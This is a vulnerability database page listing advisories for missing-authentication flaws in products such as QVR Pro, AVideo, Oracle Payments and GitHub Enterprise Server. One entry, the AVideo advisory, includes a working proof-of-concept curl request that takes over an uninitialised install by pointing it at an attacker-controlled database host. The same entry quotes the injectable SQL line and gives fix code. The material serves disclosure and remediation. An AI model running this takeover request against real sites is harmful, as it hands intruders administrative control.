Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

5084 vulnerabilities reference this CWE, most recent first.

GHSA-2F6V-45W8-WR99

Vulnerability from github – Published: 2026-03-20 18:31 – Updated: 2026-04-14 15:30
VLAI
Details

A missing authentication for critical function vulnerability has been reported to affect QVR Pro. The remote attackers can then exploit the vulnerability to gain access to the system.

We have already fixed the vulnerability in the following version: QVR Pro 2.7.4.14 and later

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-22898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-20T17:16:44Z",
    "severity": "CRITICAL"
  },
  "details": "A missing authentication for critical function vulnerability has been reported to affect QVR Pro. The remote attackers can then exploit the vulnerability to gain access to the system.\n\nWe have already fixed the vulnerability in the following version:\nQVR Pro 2.7.4.14 and later",
  "id": "GHSA-2f6v-45w8-wr99",
  "modified": "2026-04-14T15:30:28Z",
  "published": "2026-03-20T18:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22898"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-26-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2F9H-23F7-8GCX

Vulnerability from github – Published: 2026-03-17 19:46 – Updated: 2026-03-20 21:22
VLAI
Summary
AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments
Details

Summary

The install/checkConfiguration.php endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.

Affected Component

  • install/checkConfiguration.php — entire file (lines 1-273)

Description

No authentication or access restriction on installer endpoint

The checkConfiguration.php file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:

// install/checkConfiguration.php — lines 2-5
if (file_exists("../videos/configuration.php")) {
    error_log("Can not create configuration again: ".  json_encode($_SERVER));
    exit;
}

If videos/configuration.php does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.

Attacker-controlled database host eliminates credential guessing

Unlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:

// install/checkConfiguration.php — line 25
$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], "", $_POST['databasePort']);

The attacker can: 1. Run their own MySQL server with the AVideo schema pre-loaded 2. Set databaseHost to their server's IP 3. The connection succeeds (attacker controls the DB) 4. The configuration file is written pointing the application at the attacker's database permanently

Admin account creation with unsanitized input

The admin user is created with direct POST parameter concatenation into SQL:

// install/checkConfiguration.php — line 120
$sql = "INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '"
     . $_POST['contactEmail'] . "', '" . md5($_POST['systemAdminPass']) . "', now(), now(), true)";

This has two issues: (1) the attacker controls the admin password, and (2) $_POST['contactEmail'] is directly concatenated into SQL without escaping (SQL injection).

Configuration file written with attacker-controlled values

The configuration file is written to disk with all attacker-supplied values embedded:

// install/checkConfiguration.php — lines 238-247
$videosDir = $_POST['systemRootPath'].'videos/';

if(!is_dir($videosDir)){
    mkdir($videosDir, 0777, true);
}

$fp = fopen("{$videosDir}configuration.php", "wb");
fwrite($fp, $content);
fclose($fp);

The $content variable (built at lines 188-236) embeds $_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], $_POST['webSiteRootURL'], $_POST['systemRootPath'], and $_POST['salt'] directly into the PHP configuration file.

Inconsistent defense: CLI installer is protected, web endpoint is not

The CLI installer (install/install.php) properly restricts access:

// install/install.php — lines 3-5
if (!isCommandLineInterface()) {
    die('Command Line only');
}

The web endpoint (checkConfiguration.php) lacks any equivalent protection, creating an inconsistent defense pattern.

No web server protection on install directory

There is no .htaccess file in the install/ directory. The root .htaccess does not block access to install/. The endpoint is directly accessible at /install/checkConfiguration.php.

Execution chain

  1. Attacker discovers an AVideo instance where videos/configuration.php does not exist (fresh or re-deployed)
  2. Attacker sends POST to /install/checkConfiguration.php with their own database host, admin password, and site configuration
  3. The script connects to the attacker's database (or the target's with guessed/default credentials)
  4. Tables are created, admin user is inserted with attacker's password
  5. configuration.php is written to disk, permanently configuring the application
  6. Attacker logs in as admin with full control over the application

Proof of Concept

Step 1: Set up an attacker-controlled MySQL server with the AVideo schema:

# On attacker's server
mysql -e "CREATE DATABASE avideo;"
mysql avideo < database.sql  # Use AVideo's own schema file

Step 2: Send the installation request to the target:

curl -s -X POST https://TARGET/install/checkConfiguration.php \
  -d 'systemRootPath=/var/www/html/AVideo/' \
  -d 'databaseHost=ATTACKER_MYSQL_IP' \
  -d 'databasePort=3306' \
  -d 'databaseUser=attacker' \
  -d 'databasePass=attacker_pass' \
  -d 'databaseName=avideo' \
  -d 'createTables=1' \
  -d 'contactEmail=attacker@example.com' \
  -d 'systemAdminPass=AttackerPass123!' \
  -d 'webSiteTitle=Pwned' \
  -d 'mainLanguage=en_US' \
  -d 'webSiteRootURL=https://TARGET/'

Step 3: Log in as admin:

Username: admin
Password: AttackerPass123!

The attacker now has full administrative access. If using their own database, they control all application data.

Impact

  • Full application takeover: Attacker becomes the sole admin with complete control
  • Persistent backdoor via configuration: The videos/configuration.php file is written with attacker-controlled database credentials, ensuring persistent access even after the attack
  • Data exfiltration: If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker
  • Remote code execution potential: Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution
  • SQL injection bonus: $_POST['contactEmail'] on line 120 is directly concatenated into SQL, allowing additional database manipulation

Recommended Remediation

Option 1: Add a one-time setup token (preferred)

Generate a random setup token during deployment that must be provided to complete installation:

// At the top of install/checkConfiguration.php, after the file_exists check:

// Require a setup token that was generated during deployment
$setupTokenFile = __DIR__ . '/../videos/.setup_token';
if (!file_exists($setupTokenFile)) {
    $obj = new stdClass();
    $obj->error = "Setup token file not found. Create videos/.setup_token with a random secret.";
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

$expectedToken = trim(file_get_contents($setupTokenFile));
if (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {
    $obj = new stdClass();
    $obj->error = "Invalid setup token.";
    header('Content-Type: application/json');
    echo json_encode($obj);
    exit;
}

Option 2: Restrict installer to localhost/CLI only

Block web access to the installer entirely:

// At the top of install/checkConfiguration.php, after the file_exists check:
if (!isCommandLineInterface()) {
    $allowedIPs = ['127.0.0.1', '::1'];
    if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {
        header('Content-Type: application/json');
        echo json_encode(['error' => 'Installation is only allowed from localhost']);
        exit;
    }
}

Additionally, add an .htaccess file in the install/ directory:

# install/.htaccess
<Files "checkConfiguration.php">
    Require local
</Files>

Additional fixes needed

  1. Parameterize SQL queries on line 120 to prevent SQL injection:
$stmt = $mysqli->prepare("INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)");
$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()
$stmt->bind_param("ss", $_POST['contactEmail'], $hashedPass);
$stmt->execute();
  1. Upgrade password hashing from md5() to password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "25.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33038"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-17T19:46:40Z",
    "nvd_published_at": "2026-03-20T06:16:11Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `install/checkConfiguration.php` endpoint performs full application initialization \u2014 database setup, admin account creation, and configuration file write \u2014 from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.\n\n## Affected Component\n- `install/checkConfiguration.php` \u2014 entire file (lines 1-273)\n\n## Description\n\n### No authentication or access restriction on installer endpoint\n\nThe `checkConfiguration.php` file performs the most privileged operations in the application \u2014 creating the database schema, the admin account, and the configuration file \u2014 with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:\n\n```php\n// install/checkConfiguration.php \u2014 lines 2-5\nif (file_exists(\"../videos/configuration.php\")) {\n    error_log(\"Can not create configuration again: \".  json_encode($_SERVER));\n    exit;\n}\n```\n\nIf `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.\n\n### Attacker-controlled database host eliminates credential guessing\n\nUnlike typical installer exposure vulnerabilities where the attacker must guess the target\u0027s database credentials, this endpoint allows the attacker to supply their own database host:\n\n```php\n// install/checkConfiguration.php \u2014 line 25\n$mysqli = @new mysqli($_POST[\u0027databaseHost\u0027], $_POST[\u0027databaseUser\u0027], $_POST[\u0027databasePass\u0027], \"\", $_POST[\u0027databasePort\u0027]);\n```\n\nThe attacker can:\n1. Run their own MySQL server with the AVideo schema pre-loaded\n2. Set `databaseHost` to their server\u0027s IP\n3. The connection succeeds (attacker controls the DB)\n4. The configuration file is written pointing the application at the attacker\u0027s database permanently\n\n### Admin account creation with unsanitized input\n\nThe admin user is created with direct POST parameter concatenation into SQL:\n\n```php\n// install/checkConfiguration.php \u2014 line 120\n$sql = \"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, \u0027admin\u0027, \u0027\"\n     . $_POST[\u0027contactEmail\u0027] . \"\u0027, \u0027\" . md5($_POST[\u0027systemAdminPass\u0027]) . \"\u0027, now(), now(), true)\";\n```\n\nThis has two issues: (1) the attacker controls the admin password, and (2) `$_POST[\u0027contactEmail\u0027]` is directly concatenated into SQL without escaping (SQL injection).\n\n### Configuration file written with attacker-controlled values\n\nThe configuration file is written to disk with all attacker-supplied values embedded:\n\n```php\n// install/checkConfiguration.php \u2014 lines 238-247\n$videosDir = $_POST[\u0027systemRootPath\u0027].\u0027videos/\u0027;\n\nif(!is_dir($videosDir)){\n    mkdir($videosDir, 0777, true);\n}\n\n$fp = fopen(\"{$videosDir}configuration.php\", \"wb\");\nfwrite($fp, $content);\nfclose($fp);\n```\n\nThe `$content` variable (built at lines 188-236) embeds `$_POST[\u0027databaseHost\u0027]`, `$_POST[\u0027databaseUser\u0027]`, `$_POST[\u0027databasePass\u0027]`, `$_POST[\u0027webSiteRootURL\u0027]`, `$_POST[\u0027systemRootPath\u0027]`, and `$_POST[\u0027salt\u0027]` directly into the PHP configuration file.\n\n### Inconsistent defense: CLI installer is protected, web endpoint is not\n\nThe CLI installer (`install/install.php`) properly restricts access:\n\n```php\n// install/install.php \u2014 lines 3-5\nif (!isCommandLineInterface()) {\n    die(\u0027Command Line only\u0027);\n}\n```\n\nThe web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern.\n\n### No web server protection on install directory\n\nThere is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`.\n\n### Execution chain\n\n1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed)\n2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration\n3. The script connects to the attacker\u0027s database (or the target\u0027s with guessed/default credentials)\n4. Tables are created, admin user is inserted with attacker\u0027s password\n5. `configuration.php` is written to disk, permanently configuring the application\n6. Attacker logs in as admin with full control over the application\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema:\n\n```bash\n# On attacker\u0027s server\nmysql -e \"CREATE DATABASE avideo;\"\nmysql avideo \u003c database.sql  # Use AVideo\u0027s own schema file\n```\n\n**Step 2:** Send the installation request to the target:\n\n```bash\ncurl -s -X POST https://TARGET/install/checkConfiguration.php \\\n  -d \u0027systemRootPath=/var/www/html/AVideo/\u0027 \\\n  -d \u0027databaseHost=ATTACKER_MYSQL_IP\u0027 \\\n  -d \u0027databasePort=3306\u0027 \\\n  -d \u0027databaseUser=attacker\u0027 \\\n  -d \u0027databasePass=attacker_pass\u0027 \\\n  -d \u0027databaseName=avideo\u0027 \\\n  -d \u0027createTables=1\u0027 \\\n  -d \u0027contactEmail=attacker@example.com\u0027 \\\n  -d \u0027systemAdminPass=AttackerPass123!\u0027 \\\n  -d \u0027webSiteTitle=Pwned\u0027 \\\n  -d \u0027mainLanguage=en_US\u0027 \\\n  -d \u0027webSiteRootURL=https://TARGET/\u0027\n```\n\n**Step 3:** Log in as admin:\n\n```\nUsername: admin\nPassword: AttackerPass123!\n```\n\nThe attacker now has full administrative access. If using their own database, they control all application data.\n\n## Impact\n\n- **Full application takeover:** Attacker becomes the sole admin with complete control\n- **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack\n- **Data exfiltration:** If pointing to the attacker\u0027s database, all future user data (registrations, uploads, comments) flows to the attacker\n- **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution\n- **SQL injection bonus:** `$_POST[\u0027contactEmail\u0027]` on line 120 is directly concatenated into SQL, allowing additional database manipulation\n\n## Recommended Remediation\n\n### Option 1: Add a one-time setup token (preferred)\n\nGenerate a random setup token during deployment that must be provided to complete installation:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\n\n// Require a setup token that was generated during deployment\n$setupTokenFile = __DIR__ . \u0027/../videos/.setup_token\u0027;\nif (!file_exists($setupTokenFile)) {\n    $obj = new stdClass();\n    $obj-\u003eerror = \"Setup token file not found. Create videos/.setup_token with a random secret.\";\n    header(\u0027Content-Type: application/json\u0027);\n    echo json_encode($obj);\n    exit;\n}\n\n$expectedToken = trim(file_get_contents($setupTokenFile));\nif (empty($_POST[\u0027setupToken\u0027]) || !hash_equals($expectedToken, $_POST[\u0027setupToken\u0027])) {\n    $obj = new stdClass();\n    $obj-\u003eerror = \"Invalid setup token.\";\n    header(\u0027Content-Type: application/json\u0027);\n    echo json_encode($obj);\n    exit;\n}\n```\n\n### Option 2: Restrict installer to localhost/CLI only\n\nBlock web access to the installer entirely:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\nif (!isCommandLineInterface()) {\n    $allowedIPs = [\u0027127.0.0.1\u0027, \u0027::1\u0027];\n    if (!in_array($_SERVER[\u0027REMOTE_ADDR\u0027], $allowedIPs)) {\n        header(\u0027Content-Type: application/json\u0027);\n        echo json_encode([\u0027error\u0027 =\u003e \u0027Installation is only allowed from localhost\u0027]);\n        exit;\n    }\n}\n```\n\nAdditionally, add an `.htaccess` file in the `install/` directory:\n\n```apache\n# install/.htaccess\n\u003cFiles \"checkConfiguration.php\"\u003e\n    Require local\n\u003c/Files\u003e\n```\n\n### Additional fixes needed\n\n1. **Parameterize SQL queries** on line 120 to prevent SQL injection:\n```php\n$stmt = $mysqli-\u003eprepare(\"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, \u0027admin\u0027, ?, ?, now(), now(), true)\");\n$hashedPass = md5($_POST[\u0027systemAdminPass\u0027]); // Also: upgrade from md5 to password_hash()\n$stmt-\u003ebind_param(\"ss\", $_POST[\u0027contactEmail\u0027], $hashedPass);\n$stmt-\u003eexecute();\n```\n\n2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-2f9h-23f7-8gcx",
  "modified": "2026-03-20T21:22:32Z",
  "published": "2026-03-17T19:46:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33038"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/b3fa7869dcb935c8ab5c001a88dc29d2f92cf8e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments"
}

GHSA-2FG3-792G-J74F

Vulnerability from github – Published: 2026-08-18 21:32 – Updated: 2026-08-18 21:32
VLAI
Details

Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Payments. Successful attacks of this vulnerability can result in takeover of Oracle Payments. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T21:16:43Z",
    "severity": "CRITICAL"
  },
  "details": "Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Payments.  Successful attacks of this vulnerability can result in takeover of Oracle Payments. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
  "id": "GHSA-2fg3-792g-j74f",
  "modified": "2026-08-18T21:32:01Z",
  "published": "2026-08-18T21:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60782"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FQF-9J8P-6MG2

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

A vulnerability has been identified in DIGSI 4 (All versions < V4.92), EN100 Ethernet module DNP3 variant (All versions < V1.05.00), EN100 Ethernet module IEC 104 variant (All versions), EN100 Ethernet module IEC 61850 variant (All versions < V4.30), EN100 Ethernet module Modbus TCP variant (All versions), EN100 Ethernet module PROFINET IO variant (All versions). The device engineering mechanism allows an unauthenticated remote user to upload a modified device configuration overwriting access authorization passwords.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-4840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-08T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in DIGSI 4 (All versions \u003c V4.92), EN100 Ethernet module DNP3 variant (All versions \u003c V1.05.00), EN100 Ethernet module IEC 104 variant (All versions), EN100 Ethernet module IEC 61850 variant (All versions \u003c V4.30), EN100 Ethernet module Modbus TCP variant (All versions), EN100 Ethernet module PROFINET IO variant (All versions). The device engineering mechanism allows an unauthenticated remote user to upload a modified device configuration overwriting access authorization passwords.",
  "id": "GHSA-2fqf-9j8p-6mg2",
  "modified": "2022-05-13T01:08:50Z",
  "published": "2022-05-13T01:08:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4840"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-203306.pdf"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-18-067-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2G2V-H26J-4QFH

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

A missing authentication for critical function vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow remote attackers to gain access to and execute certain functions.

We have already fixed the vulnerability in the following version: Notes Station 3 3.9.7 and later

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T16:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "A missing authentication for critical function vulnerability has been reported to affect Notes Station 3. If exploited, the vulnerability could allow remote attackers to gain access to and execute certain functions.\n\nWe have already fixed the vulnerability in the following version:\nNotes Station 3 3.9.7 and later",
  "id": "GHSA-2g2v-h26j-4qfh",
  "modified": "2024-11-22T21:32:15Z",
  "published": "2024-11-22T21:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38643"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-24-36"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2G89-JXMP-M4M9

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

The official chronograf docker images before 1.7.7-alpine (Alpine specific) contain a blank password for a root user. System using the chronograf docker container deployed by affected versions of the docker image may allow a remote attacker to achieve root access with a blank password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-35188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-17T02:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The official chronograf docker images before 1.7.7-alpine (Alpine specific) contain a blank password for a root user. System using the chronograf docker container deployed by affected versions of the docker image may allow a remote attacker to achieve root access with a blank password.",
  "id": "GHSA-2g89-jxmp-m4m9",
  "modified": "2022-05-24T17:36:46Z",
  "published": "2022-05-24T17:36:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35188"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koharin/koharin2/blob/main/CVE-2020-35188"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2G9R-W7MH-F2H2

Vulnerability from github – Published: 2025-06-06 06:30 – Updated: 2025-06-09 15:31
VLAI
Details

A vulnerability was found in Signal App 7.41.4 on Android. It has been declared as problematic. This vulnerability affects unknown code of the component Biometric Authentication Handler. The manipulation leads to missing critical step in authentication. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-5715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-304",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T04:15:55Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in Signal App 7.41.4 on Android. It has been declared as problematic. This vulnerability affects unknown code of the component Biometric Authentication Handler. The manipulation leads to missing critical step in authentication. It is possible to launch the attack on the physical device. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-2g9r-w7mh-f2h2",
  "modified": "2025-06-09T15:31:38Z",
  "published": "2025-06-06T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5715"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1tI0bC8X8546ActlzGlmSU-AhCdD950y4/view"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1tI0bC8X8546ActlzGlmSU-AhCdD950y4/view?usp=drivesdk"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.311236"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.311236"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.585069"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:P/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2GCR-P5W4-5HH8

Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-11 18:31
VLAI
Details

An authentication bypass vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to create a local user account, bypassing the configured external identity provider. When external authentication was enabled, the signup endpoint did not properly enforce the authentication restriction, allowing account creation and session establishment without identity provider validation. The created account was limited to the default base permissions configured on the instance. Exploitation required network access to a GHES instance configured with an external authentication provider. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.2, 3.19.6, 3.18.9, 3.17.15, and 3.16.18.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-07T22:16:36Z",
    "severity": "MODERATE"
  },
  "details": "An authentication bypass vulnerability was identified in GitHub Enterprise Server that allowed an unauthenticated attacker to create a local user account, bypassing the configured external identity provider. When external authentication was enabled, the signup endpoint did not properly enforce the authentication restriction, allowing account creation and session establishment without identity provider validation. The created account was limited to the default base permissions configured on the instance. Exploitation required network access to a GHES instance configured with an external authentication provider. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.20.2, 3.19.6, 3.18.9, 3.17.15, and 3.16.18.",
  "id": "GHSA-2gcr-p5w4-5hh8",
  "modified": "2026-05-11T18:31:36Z",
  "published": "2026-05-08T00:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6736"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.16/admin/release-notes#3.16.18"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.17/admin/release-notes#3.17.15"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.18/admin/release-notes#3.18.9"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.19/admin/release-notes#3.19.6"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.20/admin/release-notes#3.20.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2GG8-85M5-8R2P

Vulnerability from github – Published: 2025-09-15 12:31 – Updated: 2025-09-15 21:06
VLAI
Summary
Chaos Mesh's Chaos Controller Manager is Missing Authentication for Critical Function
Details

